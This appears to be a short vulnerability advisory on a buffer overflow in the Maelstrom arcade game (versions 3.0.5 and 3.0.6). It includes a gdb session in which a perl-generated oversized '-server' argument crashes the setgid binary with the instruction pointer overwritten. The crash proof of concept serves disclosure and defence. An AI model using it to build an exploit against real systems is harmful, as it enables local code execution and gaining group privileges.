('binary' encoding is not supported, stored as-is) Maelstrom is an arcade game. There is a buffer overflow vulnerability in Maelstrom which allow local attacker arbitrary code execution. Vulnerable systems: Maelstrom 3.0.6 Maelstrom 3.0.5 Example: [lucae@linux]$ gdb /usr/bin/Maelstrom GNU gdb 5.2.1-2mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu"... (gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'` (gdb) r Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x 9999'` Couldn't resolve host name for ABCDABC......ABCD Program received signal SIGSEGV, Segmentation fault. 0x41444342 in ?? () (gdb) Quit Note: -rwxr-sr-x 1 root games 171568 19 feb 03:38 /usr/bin/Maelstrom in Linux Professional 9.0 Luca Ercoli luca.ercoliat_private
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